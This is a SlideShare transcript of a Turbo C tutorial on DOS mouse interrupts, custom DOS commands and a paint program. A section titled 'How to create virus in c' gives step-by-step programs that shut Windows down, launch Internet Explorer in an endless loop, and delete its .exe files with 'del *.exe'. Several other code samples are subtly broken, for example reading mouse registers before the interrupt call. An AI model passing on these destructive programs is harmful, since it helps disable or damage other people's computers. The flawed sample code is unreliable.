SlideShare a Scribd company logo
Mouse programming in c
(1) Write a c program which restricts the movement of
pointer?
Answer:
//restrict the x and y coordinate
#include <dos.h>
#include <stdio.h>
void main()
{
    union REGS i,o;
//show mouse pointer
    i.x.ax=1;
    int86(0x33,&i,&o);
//x coordinate restriction
    i.x.ax=7;
    i.x.cx=20;
    i.x.dx=300;
    int86(0x33,&i,&o);
//y coordinate restriction
    i.x.ax=8;
    i.x.cx=50;
    i.x.dx=250;
    int86(0x33,&i,&o);
    getch();
}
(2) Write c program which display position of pointer
in (x coordinate, y coordinate)?
Answer:
#include<dos.h>
#include<stdio.h>
void main()
{
    union REGS i,o;
    int x,y,k;
    //show mouse pointer
    i.x.ax=1;
    int86(0x33,&i,&o);
while(!kbhit()) //its value will false when we hit
key in the key board
    {
    i.x.ax=3; //get mouse position
    x=o.x.cx;
    y=o.x.dx;
clrscr();
    printf("(%d , %d)",x,y);
    delay(250);
    int86(0x33,&i,&o);
    }
    getch();




#include <dos.h>
#include <stdio.h>

void main()

{
    union REGS i,o;

    i.x.ax=1;

    int86(0x33,&i,&o);

    getch();

}

Explanation: To write such program you must have one
interrupt table. Following table is only small part
of interrupt table.
To see complete interrupt table click here

    This table consists for column. They are:

(1) Input

(2) Output

(3) Service number

(4) Purpose


    Now look at the first row of interrupt table. To show
    the mouse pointer assign ax equal to 1 i.e. service
    number while ax is define in the WORDREGS


    struct WORDREGS {

    unsigned int ax, bx, cx, dx;
unsigned int si, di, cflag, flags;

};
And WORDRGS is define in the union REGS

union REGS {

struct WORDREGS x;

struct BYTEREGS h;

};

So to access the structure member ax first declare a
variable of REGS i.e.


REGS i, o;
Note: We generally use i for input and o for output


To access the ax write i.x.ax (We are using structure
variable i because ax is input

(See in the interrupt table)


So to show mouse pointer assign the value of service
number to it:


i.x.ax=1;


To   provide  this   information   to   microprocessor
we use int86 function. It has three parameters


1. Interrupt number i.e. 0x33
2. union REGS *inputregiste i.e. &i

3. union REGS *outputregiste i.e. &o;
So write: int86 (0x33, &i, &o);



How to create virus in c?
Create simple virus by c programming language.
(Only for study purpose)
(1) Write c program which shutdown the window
operating system?
Answer:
Step 1: Write the following program in TURBO C.
void main (void){
system("shutdown -s");
}
Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that
directory in window operating system where you have
saved the close.c (default directory c:tcbin)
Step 5: Double click on its .exe file (close.exe)
After some time your window operating system will
shutdown.
(2) Write a c program such that when we will click on
its .exe file then it will open internet explorer at
infinite times?
Answer:
Step 1: Write the following program in TURBO C.
void main (void)
{
    for(; ;)
    {
    system("c:progra~1intern~1iexplore.exe");
    }
}
Step 2: Save the above file. Let file name is
internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that
directory in window operating system where you have
saved the internet.c (default directory c:tcbin)
Step 5: Double click on its .exe file (internet.exe)
(3) Write a c program which delete the all the .exe
file of internet explorer so that internet explorer
will not work?
Answer:
Step 1: Write the following program in TURBO C.
void main(void)
{
    system("cd c:progra~1intern~1");
    system(“del *.exe”);
    system(“cls”);
}
Step 2: Save the above file. Let file name is
delete.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that
directory in window operating system where you have
saved the delete.c (default directory c:tcbin)
Step 5: Double click on its .exe file (delete.exe)

How to create dos command in c?
(1) Create a dos command: type by c program.
Answer:
Step 1: Write following code.
#include <stdio.h>
void main(int count,char * argv[])
{
    int i;
    FILE *ptr;
    char *str;
    char ch;
    if(count==1)
    {
    printf("The     syntax   of    the    command    is
incorrect.n");
    }
    for(i=1;i<count;i++)
    {
    ptr=fopen(argv[i],"r");
    if(ptr==NULL)
    {
    printf("The    system   cannot   find    the    file
specified.");
    if(count>2)
printf("nError   occurred   while   procesing   :
%s.n",argv[i]);
    }
    else
    {
    if(count>2)
    {
    printf("%snn",argv[i]);
    }
    while((ch=getc(ptr))!=-1)
    printf("%c",ch);
    }
    fclose(ptr);
    }
}
Step 2: Save the as open.c (You can give any name)
Step 3: Compile and execute the file.
Step 4: Write click on My computer of Window XP
operating system and select properties.
Step 5: Select Advanced -> Environment Variables
Step 6: You will find following window:
Click on new button (Button inside the red box)
Step 7: Write following:
Variable name: path
Variable value: c:tcbinopen.c (the path where you
have saved)




Step 8: Open command prompt and write open then file
name and press enter button.




Create dir command in c
Answer:
Step 1: Write following code.
#include <stdio.h>
#include <dos.h>
void main(int count,char *argv[])
{
struct find_t q ;
int a;
if(count==1)
argv[1]="*.*";
a = _dos_findfirst(argv[1],1,&q);
if(a==0)
{
while (!a)
{
printf(" %sn", q.name);
a = _dos_findnext(&q);
}
}
else
{
printf("File not found");
}
}
Step 2: Save the as open.c (You can give any name)
Step 3: Compile and execute the file.
Step 4: Write click on My computer of Window         XP
operating system and select properties.
Step 5: Select Advanced -> Environment Variables
Step 6: You will find following window:
Click on new button (Button inside the red box)
Step 7: Write following:
Variable name: path
Variable value: c:tcbinopen.c (the path where you
have saved)
Step 8: Open command prompt and write list and press
enter button


Write the c program to switch the 256 color graphics
mode ?.
Ans: #include<stdio.h>
#include<dos.h>
void main()
{
int x,y,b;
union REGS i,o;
i.h.ah=0;
i.h.al=0x13;
int86(0x10,&i,&o); getch();
}



Write a c program to create a directory in current
working directory?
Ans: #include<stdio.h>
#include<dos.h>
void main()
{
union REGS i,o;
i.h.ah=0x39;
i.x.dx="ravan";
int86(0x21,&i,&o); getch();
}


Write a c programming code to create simple paint brush
software.
#include<dos.h>
#include<stdio.h>
#include<graphics.h>
#include<stdlib.h>
void main()
{
    int x,y,b,px,py,c,p,s,cl;
    int d=0,m;
    union REGS i,o;
    initgraph(&d,&m,"c:tc");
    i.x.ax=1;
    int86(0x33,&i,&o);
    i.x.ax=8;
    i.x.cx=20;
    i.x.dx=450;
    int86(0x33,&i,&o);
    printf("Brush style insert number from 0 to 5 :
");
    scanf("%d",&p);
    printf("Brush size insert number from 1 to 7 :
");
    scanf("%d",&s);
    printf("Brush color insert number from 1 to 16 :
");
    scanf("%d",&cl);
    clrscr();
    cleardevice();
    printf("tt**********DRAW IMAGE************");
    while(!kbhit())
    {
    i.x.ax=3;
    b=o.x.bx;
x=o.x.cx;
    y=o.x.dx;
    px=x;
    py=y;
    int86(0x33,&i,&o);
    if(cl==16)
    {
    c=random(16);
    }
    else
    {
    c=cl;
    }
    setcolor(c);
    if(b==1)
    {
    i.x.ax=3;
    int86(0x33,&i,&o);
    x=o.x.cx;
    y=o.x.dx;
    b=o.x.bx;
    switch(p)
    {
    case 1:circle(px,py,s);break;
    case 2:ellipse(px,py,0,270,s,s+2);break;
    case 3:fillellipse(px,py,s+2,s);break;
    case 4:rectangle(px,py,x,y);break;
    case 5:sector(px,py,30,120,s,s);break;
    default:line(px,py,x,y);
    }
    }
    }
    getch();
    restorecrtmode();
    closegraph();
}
Mouse programming in c

More Related Content

What's hot

String Manipulation Function and Header File Functions
String Manipulation Function and Header File FunctionsString Manipulation Function and Header File Functions
C program to implement linked list using array abstract data type
C program to implement linked list using array abstract data typeC program to implement linked list using array abstract data type
C program to implement linked list using array abstract data type
loyola ICAM college of engineering and technology
 
C++ Programming - 2nd Study
C++ Programming - 2nd StudyC++ Programming - 2nd Study
C++ Programming - 2nd Study
Chris Ohk
 
Double linked list
Double linked listDouble linked list
Double linked list
raviahuja11
 
C++ Programming - 11th Study
C++ Programming - 11th StudyC++ Programming - 11th Study
C++ Programming - 11th Study
Chris Ohk
 
Defcon 23 - Daniel Selifonov - drinking from LETHE
Defcon 23 - Daniel Selifonov - drinking from LETHEDefcon 23 - Daniel Selifonov - drinking from LETHE
Defcon 23 - Daniel Selifonov - drinking from LETHE
Felipe Prado
 
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)HamHam' Kc
 
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™Boom Baphomet
 
c++ program for Railway reservation
c++ program for Railway reservationc++ program for Railway reservation
c++ program for Railway reservationSwarup Kumar Boro
 
Travel management
Travel managementTravel management
Travel management1Parimal2
 
Data Structure - 2nd Study
Data Structure - 2nd StudyData Structure - 2nd Study
Data Structure - 2nd Study
Chris Ohk
 
Stack using Linked List
Stack using Linked ListStack using Linked List
Stack using Linked List
Sayantan Sur
 
Data structure lab manual
Data structure lab manualData structure lab manual
Data structure lab manual
nikshaikh786
 
T3chFest 2016 - The polyglot programmer
T3chFest 2016 - The polyglot programmerT3chFest 2016 - The polyglot programmer
T3chFest 2016 - The polyglot programmer
David Muñoz Díaz
 
Data Structures Practical File
Data Structures Practical File Data Structures Practical File
Data Structures Practical File
Harjinder Singh
 

What's hot (19)

C++ file
C++ fileC++ file
C++ file
 
C++ programs
C++ programsC++ programs
C++ programs
 
C Prog - Array
C Prog - ArrayC Prog - Array
C Prog - Array
 
String Manipulation Function and Header File Functions
String Manipulation Function and Header File FunctionsString Manipulation Function and Header File Functions
String Manipulation Function and Header File Functions
 
C program to implement linked list using array abstract data type
C program to implement linked list using array abstract data typeC program to implement linked list using array abstract data type
C program to implement linked list using array abstract data type
 
C++ Programming - 2nd Study
C++ Programming - 2nd StudyC++ Programming - 2nd Study
C++ Programming - 2nd Study
 
Double linked list
Double linked listDouble linked list
Double linked list
 
C++ Programming - 11th Study
C++ Programming - 11th StudyC++ Programming - 11th Study
C++ Programming - 11th Study
 
Defcon 23 - Daniel Selifonov - drinking from LETHE
Defcon 23 - Daniel Selifonov - drinking from LETHEDefcon 23 - Daniel Selifonov - drinking from LETHE
Defcon 23 - Daniel Selifonov - drinking from LETHE
 
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)
การเข ยนคำส _งควบค_มข__นพ__นฐาน (1)
 
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™
เธเธฒเธฃเน€เธ‚ เธขเธ™เธ„เธณเธช _เธ‡เธ„เธงเธšเธ„_เธกเธ‚__เธ™เธž__เธ™เธเธฒเธ™
 
c++ program for Railway reservation
c++ program for Railway reservationc++ program for Railway reservation
c++ program for Railway reservation
 
Travel management
Travel managementTravel management
Travel management
 
Data Structure - 2nd Study
Data Structure - 2nd StudyData Structure - 2nd Study
Data Structure - 2nd Study
 
week-16x
week-16xweek-16x
week-16x
 
Stack using Linked List
Stack using Linked ListStack using Linked List
Stack using Linked List
 
Data structure lab manual
Data structure lab manualData structure lab manual
Data structure lab manual
 
T3chFest 2016 - The polyglot programmer
T3chFest 2016 - The polyglot programmerT3chFest 2016 - The polyglot programmer
T3chFest 2016 - The polyglot programmer
 
Data Structures Practical File
Data Structures Practical File Data Structures Practical File
Data Structures Practical File
 

Similar to Mouse programming in c

So I am writing a CS code for a project and I keep getting cannot .pdf
So I am writing a CS code for a project and I keep getting cannot .pdfSo I am writing a CS code for a project and I keep getting cannot .pdf
So I am writing a CS code for a project and I keep getting cannot .pdf
ezonesolutions
 
UNIT-II CP DOC.docx
UNIT-II CP DOC.docxUNIT-II CP DOC.docx
UNIT-II CP DOC.docx
JavvajiVenkat
 
'C' language notes (a.p)
'C' language notes (a.p)'C' language notes (a.p)
'C' language notes (a.p)
Ashishchinu
 
Csdfsadf
CsdfsadfCsdfsadf
Csdfsadf
Atul Setu
 
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docx
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docxShad_Cryptography_PracticalFile_IT_4th_Year (1).docx
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docx
Sonu62614
 
Programming ppt files (final)
Programming ppt files (final)Programming ppt files (final)
Programming ppt files (final)
yap_raiza
 
C- Programming Assignment 3
C- Programming Assignment 3C- Programming Assignment 3
C- Programming Assignment 3
Animesh Chaturvedi
 
UNIT 4-HEADER FILES IN C
UNIT 4-HEADER FILES IN CUNIT 4-HEADER FILES IN C
UNIT 4-HEADER FILES IN C
Raj vardhan
 
the refernce of programming C notes ppt.pptx
the refernce of programming C notes ppt.pptxthe refernce of programming C notes ppt.pptx
the refernce of programming C notes ppt.pptx
AnkitaVerma776806
 
Let us C (by yashvant Kanetkar) chapter 3 Solution
Let us C   (by yashvant Kanetkar) chapter 3 SolutionLet us C   (by yashvant Kanetkar) chapter 3 Solution
Let us C (by yashvant Kanetkar) chapter 3 Solution
Hazrat Bilal
 
C programming language tutorial
C programming language tutorial C programming language tutorial
C programming language tutorial
javaTpoint s
 
C Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer CentreC Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer Centre
jatin batra
 
C Programming
C ProgrammingC Programming
C Programming
Sumant Diwakar
 
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
Chris Adamson
 

Similar to Mouse programming in c (20)

So I am writing a CS code for a project and I keep getting cannot .pdf
So I am writing a CS code for a project and I keep getting cannot .pdfSo I am writing a CS code for a project and I keep getting cannot .pdf
So I am writing a CS code for a project and I keep getting cannot .pdf
 
Design problem
Design problemDesign problem
Design problem
 
UNIT-II CP DOC.docx
UNIT-II CP DOC.docxUNIT-II CP DOC.docx
UNIT-II CP DOC.docx
 
'C' language notes (a.p)
'C' language notes (a.p)'C' language notes (a.p)
'C' language notes (a.p)
 
Csdfsadf
CsdfsadfCsdfsadf
Csdfsadf
 
C
CC
C
 
C
CC
C
 
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docx
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docxShad_Cryptography_PracticalFile_IT_4th_Year (1).docx
Shad_Cryptography_PracticalFile_IT_4th_Year (1).docx
 
Programming ppt files (final)
Programming ppt files (final)Programming ppt files (final)
Programming ppt files (final)
 
C- Programming Assignment 3
C- Programming Assignment 3C- Programming Assignment 3
C- Programming Assignment 3
 
UNIT 4-HEADER FILES IN C
UNIT 4-HEADER FILES IN CUNIT 4-HEADER FILES IN C
UNIT 4-HEADER FILES IN C
 
the refernce of programming C notes ppt.pptx
the refernce of programming C notes ppt.pptxthe refernce of programming C notes ppt.pptx
the refernce of programming C notes ppt.pptx
 
Let us C (by yashvant Kanetkar) chapter 3 Solution
Let us C   (by yashvant Kanetkar) chapter 3 SolutionLet us C   (by yashvant Kanetkar) chapter 3 Solution
Let us C (by yashvant Kanetkar) chapter 3 Solution
 
C tutorial
C tutorialC tutorial
C tutorial
 
C tutorial
C tutorialC tutorial
C tutorial
 
C tutorial
C tutorialC tutorial
C tutorial
 
C programming language tutorial
C programming language tutorial C programming language tutorial
C programming language tutorial
 
C Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer CentreC Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer Centre
 
C Programming
C ProgrammingC Programming
C Programming
 
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
Oh Crap, I Forgot (Or Never Learned) C! [CodeMash 2010]
 

Recently uploaded

Generative AI Deep Dive: Advancing from Proof of Concept to Production
Generative AI Deep Dive: Advancing from Proof of Concept to ProductionGenerative AI Deep Dive: Advancing from Proof of Concept to Production
Generative AI Deep Dive: Advancing from Proof of Concept to Production
Aggregage
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance
 
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdfSAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
Peter Spielvogel
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
Jemma Hussein Allen
 
Quantum Computing: Current Landscape and the Future Role of APIs
Quantum Computing: Current Landscape and the Future Role of APIsQuantum Computing: Current Landscape and the Future Role of APIs
Quantum Computing: Current Landscape and the Future Role of APIs
Vlad Stirbu
 
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
UiPathCommunity
 
A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...
sonjaschweigert1
 
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdfFIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance
 
When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...
Elena Simperl
 
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
BookNet Canada
 
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 previewState of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
Prayukth K V
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance
 
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Ramesh Iyer
 
Assure Contact Center Experiences for Your Customers With ThousandEyes
Assure Contact Center Experiences for Your Customers With ThousandEyesAssure Contact Center Experiences for Your Customers With ThousandEyes
Assure Contact Center Experiences for Your Customers With ThousandEyes
ThousandEyes
 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
Thijs Feryn
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
Kari Kakkonen
 
Welocme to ViralQR, your best QR code generator.
Welocme to ViralQR, your best QR code generator.Welocme to ViralQR, your best QR code generator.
Welocme to ViralQR, your best QR code generator.
ViralQR
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
Alan Dix
 
PHP Frameworks: I want to break free (IPC Berlin 2024)
PHP Frameworks: I want to break free (IPC Berlin 2024)PHP Frameworks: I want to break free (IPC Berlin 2024)
PHP Frameworks: I want to break free (IPC Berlin 2024)
Ralf Eggert
 
Free Complete Python - A step towards Data Science
Free Complete Python - A step towards Data ScienceFree Complete Python - A step towards Data Science
Free Complete Python - A step towards Data Science
RinaMondal9
 

Recently uploaded (20)

Generative AI Deep Dive: Advancing from Proof of Concept to Production
Generative AI Deep Dive: Advancing from Proof of Concept to ProductionGenerative AI Deep Dive: Advancing from Proof of Concept to Production
Generative AI Deep Dive: Advancing from Proof of Concept to Production
 
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdfFIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
FIDO Alliance Osaka Seminar: FIDO Security Aspects.pdf
 
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdfSAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
SAP Sapphire 2024 - ASUG301 building better apps with SAP Fiori.pdf
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
 
Quantum Computing: Current Landscape and the Future Role of APIs
Quantum Computing: Current Landscape and the Future Role of APIsQuantum Computing: Current Landscape and the Future Role of APIs
Quantum Computing: Current Landscape and the Future Role of APIs
 
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
 
A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...A tale of scale & speed: How the US Navy is enabling software delivery from l...
A tale of scale & speed: How the US Navy is enabling software delivery from l...
 
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdfFIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
FIDO Alliance Osaka Seminar: Passkeys at Amazon.pdf
 
When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...
 
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
 
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 previewState of ICS and IoT Cyber Threat Landscape Report 2024 preview
State of ICS and IoT Cyber Threat Landscape Report 2024 preview
 
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdfFIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
FIDO Alliance Osaka Seminar: Passkeys and the Road Ahead.pdf
 
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
Builder.ai Founder Sachin Dev Duggal's Strategic Approach to Create an Innova...
 
Assure Contact Center Experiences for Your Customers With ThousandEyes
Assure Contact Center Experiences for Your Customers With ThousandEyesAssure Contact Center Experiences for Your Customers With ThousandEyes
Assure Contact Center Experiences for Your Customers With ThousandEyes
 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
 
DevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA ConnectDevOps and Testing slides at DASA Connect
DevOps and Testing slides at DASA Connect
 
Welocme to ViralQR, your best QR code generator.
Welocme to ViralQR, your best QR code generator.Welocme to ViralQR, your best QR code generator.
Welocme to ViralQR, your best QR code generator.
 
Epistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI supportEpistemic Interaction - tuning interfaces to provide information for AI support
Epistemic Interaction - tuning interfaces to provide information for AI support
 
PHP Frameworks: I want to break free (IPC Berlin 2024)
PHP Frameworks: I want to break free (IPC Berlin 2024)PHP Frameworks: I want to break free (IPC Berlin 2024)
PHP Frameworks: I want to break free (IPC Berlin 2024)
 
Free Complete Python - A step towards Data Science
Free Complete Python - A step towards Data ScienceFree Complete Python - A step towards Data Science
Free Complete Python - A step towards Data Science
 

Mouse programming in c

  • 1. Mouse programming in c (1) Write a c program which restricts the movement of pointer? Answer: //restrict the x and y coordinate #include <dos.h> #include <stdio.h> void main() { union REGS i,o; //show mouse pointer i.x.ax=1; int86(0x33,&i,&o); //x coordinate restriction i.x.ax=7; i.x.cx=20; i.x.dx=300; int86(0x33,&i,&o); //y coordinate restriction i.x.ax=8; i.x.cx=50; i.x.dx=250; int86(0x33,&i,&o); getch(); } (2) Write c program which display position of pointer in (x coordinate, y coordinate)? Answer: #include<dos.h> #include<stdio.h> void main() { union REGS i,o; int x,y,k; //show mouse pointer i.x.ax=1; int86(0x33,&i,&o); while(!kbhit()) //its value will false when we hit key in the key board { i.x.ax=3; //get mouse position x=o.x.cx; y=o.x.dx;
  • 2. clrscr(); printf("(%d , %d)",x,y); delay(250); int86(0x33,&i,&o); } getch(); #include <dos.h> #include <stdio.h> void main() { union REGS i,o; i.x.ax=1; int86(0x33,&i,&o); getch(); } Explanation: To write such program you must have one interrupt table. Following table is only small part of interrupt table.
  • 3. To see complete interrupt table click here This table consists for column. They are: (1) Input (2) Output (3) Service number (4) Purpose Now look at the first row of interrupt table. To show the mouse pointer assign ax equal to 1 i.e. service number while ax is define in the WORDREGS struct WORDREGS { unsigned int ax, bx, cx, dx;
  • 4. unsigned int si, di, cflag, flags; }; And WORDRGS is define in the union REGS union REGS { struct WORDREGS x; struct BYTEREGS h; }; So to access the structure member ax first declare a variable of REGS i.e. REGS i, o; Note: We generally use i for input and o for output To access the ax write i.x.ax (We are using structure variable i because ax is input (See in the interrupt table) So to show mouse pointer assign the value of service number to it: i.x.ax=1; To provide this information to microprocessor we use int86 function. It has three parameters 1. Interrupt number i.e. 0x33 2. union REGS *inputregiste i.e. &i 3. union REGS *outputregiste i.e. &o;
  • 5. So write: int86 (0x33, &i, &o); How to create virus in c? Create simple virus by c programming language. (Only for study purpose) (1) Write c program which shutdown the window operating system? Answer: Step 1: Write the following program in TURBO C. void main (void){ system("shutdown -s"); } Step 2: Save the above file. Let file name is close.c Step 3: Only compile the above program. Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:tcbin) Step 5: Double click on its .exe file (close.exe) After some time your window operating system will shutdown. (2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times? Answer: Step 1: Write the following program in TURBO C. void main (void) { for(; ;) { system("c:progra~1intern~1iexplore.exe"); } } Step 2: Save the above file. Let file name is internet.c Step 3: Only compile the above program. Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:tcbin) Step 5: Double click on its .exe file (internet.exe)
  • 6. (3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work? Answer: Step 1: Write the following program in TURBO C. void main(void) { system("cd c:progra~1intern~1"); system(“del *.exe”); system(“cls”); } Step 2: Save the above file. Let file name is delete.c Step 3: Only compile the above program. Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:tcbin) Step 5: Double click on its .exe file (delete.exe) How to create dos command in c? (1) Create a dos command: type by c program. Answer: Step 1: Write following code. #include <stdio.h> void main(int count,char * argv[]) { int i; FILE *ptr; char *str; char ch; if(count==1) { printf("The syntax of the command is incorrect.n"); } for(i=1;i<count;i++) { ptr=fopen(argv[i],"r"); if(ptr==NULL) { printf("The system cannot find the file specified."); if(count>2)
  • 7. printf("nError occurred while procesing : %s.n",argv[i]); } else { if(count>2) { printf("%snn",argv[i]); } while((ch=getc(ptr))!=-1) printf("%c",ch); } fclose(ptr); } } Step 2: Save the as open.c (You can give any name) Step 3: Compile and execute the file. Step 4: Write click on My computer of Window XP operating system and select properties. Step 5: Select Advanced -> Environment Variables Step 6: You will find following window: Click on new button (Button inside the red box)
  • 8. Step 7: Write following: Variable name: path Variable value: c:tcbinopen.c (the path where you have saved) Step 8: Open command prompt and write open then file name and press enter button. Create dir command in c Answer: Step 1: Write following code. #include <stdio.h> #include <dos.h> void main(int count,char *argv[]) {
